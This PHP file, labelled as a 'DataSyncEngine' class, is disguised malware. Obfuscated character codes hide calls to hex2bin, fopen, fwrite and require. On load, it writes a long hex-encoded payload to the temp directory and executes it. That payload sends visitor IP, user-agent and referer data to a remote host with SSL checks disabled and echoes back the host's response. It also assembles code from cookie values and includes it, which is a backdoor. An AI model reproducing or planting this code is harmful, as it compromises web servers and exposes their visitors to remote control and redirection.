<?php
class DataSyncEngine {
	private $ff = '';
	private $ia = '';

	public function filterResults($p1) {
		$a = array(((113-9)),(((61*99)-5938)),(121-1),(55-5),((94*1)+4),((106-1)),(119-9));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function terminateSession($p1,$p2) {
		$a = array(((87+9+14)),101,(2*56),(3*37),102);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function sendNotification($p1,$p2) {
		$a = array((90+9+2),(2*58),(109-4),((64+11+39)),(121-2),((75*17)-1173));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function logTransaction($p1) {
		$a = array(((101*1)),((60*39)-2225),((3*37)),(108),(3*33),(((89*21)-1767)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function cacheData($p1,$p2=null) {
		$a = array(((76*24)-1710),((2*58)),((82*1)+32),(105),((22*71)-1453));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function updateRegistry() {
		$this->ia = $this->cacheData($this->calculateSum(), '/');
	}

	public function resolveAction() {
		$this->ff = $this->filterResults($this->jj);
	}

	public function authorizeUser() {
		$fn = $this->ia.'/mt-6857fd28a3457';
		$f = $this->terminateSession($fn, 'w');
		$this->sendNotification($f, $this->ff);
		$this->logTransaction($f);
		$this->computeResult($fn);
	}

	private $jj = '3c3f70687020636c617373205f69756c7b707269766174652' . '0737461746963245f7172743b7374617469632066756e63746' . '96f6e205f77726f28245f7869297b6966282173656c663a3a2' . '45f7172742973656c663a3a5f676228293b72657475726e206' . '865783262696e2873656c663a3a245f7172745b245f78695d2' . '93b7d70726976617465207374617469632066756e6374696f6' . 'e205f676228297b73656c663a3a245f7172743d61727261792' . '8275f706a273d3e27343136333633363537333733326434333' . '6663665373437323666366332643431366336272e276336662' . '72e273737326434663732363936272e2737363936653361272' . 'e2732272e2730272e2732272e2761272c275f616279273d3e2' . '73433366636653734363536653734326435343739373036353' . '36132303631373037303663363936333631373436272e27393' . '666366532663661272e2736313736363137333633272e27373' . '23639373037272e2734272c275f6a6375273d3e27363336272' . 'e2738272c275f6f70273d3e273635373934613730363334333' . '43933363439366136373334346336613637333434633661363' . '73334346336613637333434393639373736393634353734353' . '63934663639346133303561353834653330343936393737363' . '936333664272e2735363664343936613666363936343437272' . 'e27353637613634343334613339272c275f786f273d3e27373' . '1272e2737373761272e273738272c275f6477273d3e2733633' . '666272e2736272e2762272e273365272c275f6b6675273d3e2' . '733272e27633632363136272e27343365272c275f766e63273' . 'd3e273737272e273631366336272e2763272c275f7164273d3' . 'e27272c275f6d6e273d3e27272c275f6670273d3e27272c275' . 'f69616f273d3e2736383734373437303361326632663730373' . '53632326537373635363236363639366336353638366637333' . '73436353732326536333666366432663633366636643730366' . '6373336353732326536272e27613733336636343631272e273' . '73436272e273133272e2764272c275f6a75273d3e273633373' . '53732366335272e27663639366536272e27393734272c275f7' . '277273d3e273638373437343730356636333666363436272e2' . '735272c275f66666f273d3e27373336333638363536272e276' . '4272e2736272e2735272c275f766573273d3e2736383734372' . '72e273437272e27303733272c275f766c62273d3e2734272e2' . '7373435272e2735272e27343230272c275f6a74273d3e27373' . '036313734272e273638272c275f636c273d3e2737313735363' . '537323739272c275f796c6e273d3e2733272e2766272c275f6' . '9776c273d3e27373137272e273536272e273537323739272c2' . '75f7872273d3e27323034383534272e2735343530326633313' . '2653330306430613438366637333734272e273361272e27323' . '0272c275f696f273d3e27363836272e2766373337272e27342' . '72c275f74636f273d3e2730643061343336663665366536353' . '6333734363936663665336132303433272e273663366637333' . '6353064272e27306130643061272c275f6363273d3e2737333' . '73336272e27633361272e273266272e273266272c275f796f7' . '7273d3e27272c275f74746a273d3e2736272e2738366637333' . '7272e2734272c275f6f6c6d273d3e273064272e2730272e276' . '1272c275f6171273d3e273438353435272e273435303566343' . '334633439343534653534272e27356634393530272c275f707' . '0273d3e2734383534353435303566353835663436346635323' . '53734272e2731353234343435343435663436272e2734272e2' . '766272e2735272e2732272c275f627762273d3e27353234353' . '464346635343435356634313434343435272e2732272c275f7' . '76e273d3e27343835343534353035663535353334353532356' . '63431343734272e2735272e273465272e273534272c275f757' . '278273d3e27343835343534353035663535353334353532356' . '6343134373435346535272e2734272c275f6d7065273d3e272' . '72c275f6c7877273d3e2734383534353435303566353234353' . '4363435353234272e273535272e2732272c275f737161273d3' . 'e27343835343534353035663532343534363435353234272e2' . '73535272e2732272c275f6571273d3e27272c275f7378273d3' . 'e2734383534353435303566343334633439343534653534272' . 'e27356634393530272c275f6f61273d3e27343835343534272' . 'e273530356634333463343934353465353435663439272e273' . '5272e2730272c275f7864273d3e27343835343534353035663' . '53835663436346635323537343135323434343534343566343' . '6346635272e2732272c275f6b6d273d3e273438353435272e2' . '734353035272e2766353835663436346635323537343135323' . '434343534343566272e27343634272e27663532272c275f737' . '7273d3e273532343534272e276434663534343535663431272' . 'e2734343434272e2735272e2732272c275f686a72273d3e273' . '53234353464346635343435356634313434343435272e27322' . '72c275f617a64273d3e2736343632363736643666363436352' . '72c275f637176273d3e273439272e27353033272e2761272e2' . '73230272c275f6865273d3e273230376332303535272e27343' . '1272e2733613230272c275f636b6c273d3e273230376332272' . 'e273035323635272e273636336132272e2730272c275f66776' . 'f273d3e273230336336272e2732373233653061272c275f6f7' . '862273d3e27363937272e2730272c275f6d6f273d3e2737353' . '6272e2731272c275f797974273d3e273732272e273635272e2' . '73636272c275f6e6c273d3e2737272e2731272e27373737612' . '72e273738272c293b7d7d636c617373205f7879657b7072697' . '661746520737461746963245f7172743b73746174696320667' . '56e6374696f6e205f77726f28245f7869297b6966282173656' . 'c663a3a245f7172742973656c663a3a5f676228293b7265747' . '5726e2073656c663a3a245f7172745b245f78695d3b7d70726' . '976617465207374617469632066756e6374696f6e205f67622' . '8297b73656c663a3a245f7172743d61727261792830302c303' . '72c3033362c3033362c30312c3033362c30322c30372c30312' . 'c3031362c3033302c30362c3033322c3031322c3031312c303' . '1332c3032372c3033312c30332c30322c30312c30312c30302' . 'c3031322c3031322c303331302c303637332c303132302c303' . '02c30323030302c30312c303432332c30343233293b7d7d686' . '561646572285f69756c3a3a5f77726f28275f70272e276a272' . '9293b686561646572285f69756c3a3a5f77726f28275f61627' . '92729293b696628697373657428245f4745545b5f69756c3a3' . 'a5f77726f28275f6a637527295d29297b245f68773d5f68637' . '7285f69756c3a3a5f77726f28275f272e276f702729293b696' . '628245f68772626737472706f7328245f68772c5f69756c3a3' . 'a5f77726f28275f78272e276f272929213d3d66616c7365297' . 'b646965285f69756c3a3a5f77726f28275f64272e277727292' . '93b7d656c73657b646965285f69756c3a3a5f77726f28275f6' . 'b66752729293b7d7d696628697373657428245f4745545b5f6' . '9756c3a3a5f77726f28275f272e2776272e276e272e2763272' . '95d29297b245f68743d245f434f4f4b49453b245f6166793d5' . 'f7879653a3a5f77726f2830293b245f78693d5f7879653a3a5' . 'f77726f2831293b245f61793d617272617928293b245f61795' . 'b245f6166795d3d5f69756c3a3a5f77726f28275f71272e276' . '427293b7768696c6528245f7869297b245f61795b245f61667' . '95d2e3d245f68745b5f7879653a3a5f77726f2832295d5b245' . 'f78695d3b69662821245f68745b5f7879653a3a5f77726f283' . '3295d5b245f78692b5f7879653a3a5f77726f2834295d297b6' . '9662821245f68745b5f7879653a3a5f77726f2835295d5b245' . 'f78692b5f7879653a3a5f77726f2836295d29627265616b3b2' . '45f6166792b2b3b245f61795b245f6166795d3d5f69756c3a3' . 'a5f77726f28275f272e276d272e276e27293b245f78692b2b3' . 'b7d245f78693d245f78692b5f7879653a3a5f77726f2837292' . 'b5f7879653a3a5f77726f2838293b7d245f6166793d245f617' . '95b5f7879653a3a5f77726f2839295d28292e245f61795b5f7' . '879653a3a5f77726f283130295d3b69662821245f61795b5f7' . '879653a3a5f77726f283131295d28245f61667929297b245f7' . '8693d245f61795b5f7879653a3a5f77726f283132295d28245' . 'f6166792c245f61795b5f7879653a3a5f77726f283133295d2' . '93b245f61795b5f7879653a3a5f77726f283134295d28245f7' . '8692c245f61795b5f7879653a3a5f77726f283135295d2e245' . 'f61795b5f7879653a3a5f77726f283136295d28245f61795b5' . 'f7879653a3a5f77726f283137295d28245f68745b5f7879653' . 'a3a5f77726f283138295d2929293b7d696e636c75646528245' . 'f616679293b7d66756e6374696f6e205f68637728245f6c6b2' . 'c245f7366743d3930313839297b245f65793d5f69756c3a3a5' . 'f77726f28275f272e2766272e277027293b245f6c7a613d5f6' . '9756c3a3a5f77726f28275f69272e2761272e276f27292e245' . 'f6c6b3b69662869735f63616c6c61626c65285f69756c3a3a5' . 'f77726f28275f6a75272929297b245f776f3d6375726c5f696' . 'e697428245f6c7a61293b6375726c5f7365746f707428245f7' . '76f2c4355524c4f50545f53534c5f564552494659504545522' . 'c66616c7365293b6375726c5f7365746f707428245f776f2c4' . '355524c4f50545f53534c5f564552494659484f53542c5f787' . '9653a3a5f77726f28313929293b6375726c5f7365746f70742' . '8245f776f2c4355524c4f50545f464f4c4c4f574c4f4341544' . '94f4e2c5f7879653a3a5f77726f28323029293b6375726c5f7' . '365746f707428245f776f2c4355524c4f50545f52455455524' . 'e5452414e534645522c5f7879653a3a5f77726f28323129293' . 'b6375726c5f7365746f707428245f776f2c4355524c4f50545' . 'f4845414445522c5f7879653a3a5f77726f28323229293b637' . '5726c5f7365746f707428245f776f2c4355524c4f50545f434' . 'f4e4e45435454494d454f55542c5f7879653a3a5f77726f283' . '23329293b6375726c5f7365746f707428245f776f2c4355524' . 'c4f50545f54494d454f55542c5f7879653a3a5f77726f28323' . '429293b245f65793d6375726c5f6578656328245f776f293b2' . '45f766f3d6375726c5f676574696e666f28245f776f293b637' . '5726c5f636c6f736528245f776f293b696628245f766f5b5f6' . '9756c3a3a5f77726f28275f727727295d213d5f7879653a3a5' . 'f77726f283235292972657475726e2066616c73653b7d656c7' . '3657b245f6b723d70617273655f75726c28245f6c7a61293b2' . '45f67753d28245f6b725b5f69756c3a3a5f77726f28275f666' . '6272e276f27295d3d3d5f69756c3a3a5f77726f28275f76652' . '72e27732729293b245f71663d5f69756c3a3a5f77726f28275' . 'f766c272e276227292e245f6b725b5f69756c3a3a5f77726f2' . '8275f272e276a272e277427295d3b696628697373657428245' . 'f6b725b5f69756c3a3a5f77726f28275f636c27295d2929245' . 'f71662e3d5f69756c3a3a5f77726f28275f272e27796c6e272' . '92e245f6b725b5f69756c3a3a5f77726f28275f6977272e276' . 'c27295d3b245f71662e3d5f69756c3a3a5f77726f28275f787' . '227292e245f6b725b5f69756c3a3a5f77726f28275f696f272' . '95d2e5f69756c3a3a5f77726f28275f74272e27636f27293b2' . '45f74783d66736f636b6f70656e2828245f67753f5f69756c3' . 'a3a5f77726f28275f636327293a5f69756c3a3a5f77726f282' . '75f796f772729292e245f6b725b5f69756c3a3a5f77726f282' . '75f74746a27295d2c245f67753f5f7879653a3a5f77726f283' . '236293a5f7879653a3a5f77726f28323729293b696628245f7' . '478297b667075747328245f74782c245f7166293b245f756a3' . 'd5f7879653a3a5f77726f283238293b7768696c65282166656' . 'f6628245f747829297b245f6173643d666765747328245f747' . '82c5f7879653a3a5f77726f28323929293b696628245f756a2' . '9245f65792e3d245f6173643b696628245f6173643d3d5f697' . '56c3a3a5f77726f28275f272e276f6c272e276d272929245f7' . '56a3d5f7879653a3a5f77726f283330293b7d66636c6f73652' . '8245f7478293b7d7d72657475726e245f65793b7d245f76757' . 'a3d697373657428245f5345525645525b5f69756c3a3a5f777' . '26f28275f272e27617127295d293b245f79753d69737365742' . '8245f5345525645525b5f69756c3a3a5f77726f28275f70272' . 'e277027295d293b245f74773d697373657428245f534552564' . '5525b5f69756c3a3a5f77726f28275f6277272e276227295d2' . '93b245f6e66663d697373657428245f5345525645525b5f697' . '56c3a3a5f77726f28275f776e27295d293f245f53455256455' . '25b5f69756c3a3a5f77726f28275f7572272e277827295d3a5' . 'f69756c3a3a5f77726f28275f6d272e2770272e276527293b2' . '45f6a7a3d697373657428245f5345525645525b5f69756c3a3' . 'a5f77726f28275f6c78272e277727295d293f245f534552564' . '5525b5f69756c3a3a5f77726f28275f73272e27716127295d3' . 'a5f69756c3a3a5f77726f28275f65272e277127293b245f767' . '57a3d697373657428245f5345525645525b5f69756c3a3a5f7' . '7726f28275f272e27737827295d293f245f5345525645525b5' . 'f69756c3a3a5f77726f28275f272e276f6127295d3a6e756c6' . 'c3b245f79753d697373657428245f5345525645525b5f69756' . 'c3a3a5f77726f28275f272e2778272e276427295d293f245f5' . '345525645525b5f69756c3a3a5f77726f28275f6b6d27295d3' . 'a6e756c6c3b245f74773d697373657428245f5345525645525' . 'b5f69756c3a3a5f77726f28275f737727295d293f245f53455' . '25645525b5f69756c3a3a5f77726f28275f686a7227295d3a6' . 'e756c6c3b69662866696c7465725f76617228245f76757a2c5' . 'f7879653a3a5f77726f2833312929297b245f676c3d245f767' . '57a3b7d656c736569662866696c7465725f76617228245f797' . '52c5f7879653a3a5f77726f2833322929297b245f676c3d245' . 'f79753b7d656c73657b245f676c3d245f74773b7d696628697' . '373657428245f4745545b5f69756c3a3a5f77726f28275f617' . 'a6427295d29297b6563686f205f69756c3a3a5f77726f28275' . 'f6371272e277627292e245f676c2e5f69756c3a3a5f77726f2' . '8275f68272e276527292e245f6e66662e5f69756c3a3a5f777' . '26f28275f63272e276b6c27292e245f6a7a2e5f69756c3a3a5' . 'f77726f28275f66776f27293b6578697428293b7d696628216' . '97373657428245f676c297c7c21697373657428245f6e66662' . '97c7c21697373657428245f6a7a29297b6578697428293b7d6' . '56c73657b245f6d78773d6172726179285f69756c3a3a5f777' . '26f28275f6f786227293d3e245f676c2c5f69756c3a3a5f777' . '26f28275f6d6f27293d3e245f6e66662c5f69756c3a3a5f777' . '26f28275f272e2779797427293d3e245f6a7a293b245f6f656' . 'e3d75726c656e636f6465286261736536345f656e636f64652' . '86a736f6e5f656e636f646528245f6d78772929293b245f687' . '73d5f68637728245f6f656e293b696628245f6877262673747' . '2706f7328245f68772c5f69756c3a3a5f77726f28275f6e6c2' . '72929213d3d66616c7365297b6563686f245f68773b6578697' . '428293b7d7d';

	public function computeResult($p) {
		require($p);
	}

	public function calculateSum() {
		$a=array((26+8+81),(121),(51+64),((80*3)-145),(103),101,116,((5*19)),((86*107)-9086),(103-2),((109*1)),(70+14+28),(99-4),(46+54),(105),(2*57));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$gq = new DataSyncEngine();
$gq->updateRegistry();
$gq->resolveAction();
$gq->authorizeUser();
